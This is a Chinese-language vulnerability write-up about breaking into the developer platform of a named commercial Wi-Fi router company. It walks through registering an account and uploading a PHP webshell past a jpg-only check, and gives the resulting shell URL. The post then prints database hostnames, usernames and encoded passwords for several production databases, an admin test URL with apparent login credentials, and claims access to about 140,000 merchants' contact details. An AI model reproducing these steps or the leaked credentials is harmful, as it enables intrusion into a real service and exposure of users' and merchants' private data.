看我是如何控制数万台路由器WiFi及广告的

百米生活，通过免费商业Wi-Fi的铺设，在全国各城市打造一个基于本地化社区的电子商务服务平台，
为商家提供产品推广、品牌宣传、商家管理及成本控制等服务；为消费者带来社区附近衣食住行、吃喝玩乐的信息服务，同时借助免费Wi-Fi技术支持，开启移动互联网的全新生活方式。

百米生活，通过免费商业Wi-Fi的铺设，在全国各城市打造一个基于本地化社区的电子商务服务平台，

为商家提供产品推广、品牌宣传、商家管理及成本控制等服务；为消费者带来社区附近衣食住行、吃喝玩乐的信息服务，同时借助免费Wi-Fi技术支持，开启移动互联网的全新生活方式。

据资料显示该公司的百米生活路由器已经遍布全国多个省市了，用户多达数十万！

不可否认这是全国最NB的一个（广告路由器）说实话他这个路由器穿透力确实够NB

赞一个就是广告太多了

一切起因皆因贵公司的广告特么的深深的打动了我才有了今天的故事

废话就不多说了直接上漏洞证明

官网www.100msh.com

漏洞出现在http://open.100msh.com 开发者平台存在任意文件上传

首先我们先注册用户

http://open.100msh.com/user/register_dev.html

此处填写信息

写完之后来到我们的个人资料-上传我们的php一句话

点击提交会提交请上传jpg文件这个不管他返回页面的时候我们的一句话已经上传了

http://img.100msh.net//developer/credential_file/12e31512040936467884.php

我们的php一句话已经执行

让人激动不已里面有主站以及多个分站开发站点等重要信息及站点

附部分数据库信息：

//管理后台数据库链接
    'ADM' => array(
        'DB_HOST' => 'db.100msh.com', //数据库主机
        'DB_USER' => '100msh_admin', //数据库用户名
        'DB_PWD' => '638m2rh5Hd9cUc2xDjW3Ig==', //数据库密码
        'DB_NAME' => '100msh_admin', //数据库名


$db_cfg=array(
//商家管理数据库链接
'PARTNER'=>array(
'DB_HOST'=>'db.100msh.com',      //数据库主机
'DB_USER'=>'100msh_partner',   //数据库用户名
'DB_PWD'=>'g7COkNYlex98kGf4d8peoA==',          //数据库密码
'DB_NAME'=>'100msh_partner',    //数据库名
),
//前台商城数据库链接
'ADM'=>array(
'DB_HOST'=>'db.100msh.com',      //数据库主机
'DB_USER'=>'100msh_admin',      //数据库用户名
'DB_PWD'=>'638m2rh5Hd9cUc2xDjW3Ig==',          //数据库密码
'DB_NAME'=>'100msh_admin',      //数据库名
),
//商品数据库链接
'ITEM'=>array(
'DB_HOST'=>'db.100msh.com',      //数据库主机
'DB_USER'=>'100msh_items',      //数据库用户名
'DB_PWD'=>'VL9vDsx3ob/+9m4QhkUu5w==',          //数据库密码
'DB_NAME'=>'100msh_items',      //数据库名
),
'MACADMIN'=>array(
'DB_HOST'=>'db.100msh.com',      //数据库主机
'DB_USER'=>'100msh_macadmin',   //数据库用户名
'DB_PWD'=>'FGCy3cDZ4W0wUH2gEtkgcA==',          //数据库密码
'DB_NAME'=>'100msh_macadmin',    //数据库名
),
'DEVE'=>array(
'DB_HOST'=>'db.100msh.com',      //数据库主机
'DB_USER'=>'100msh_developer',   //数据库用户名
'DB_PWD'=>'pjROJdD6R31dN27KK0DtSg==',          //数据库密码
'DB_NAME'=>'100msh_developer',    //数据库名
),
);

找到多个数据库配置信息其中就有我们的路由器管理后台，里面有数万名百米生活路由器用户的配置信息以及联系方式

http://wifiadmintest.100msh.com/

z_test

admintest

14万商户信息及联系方式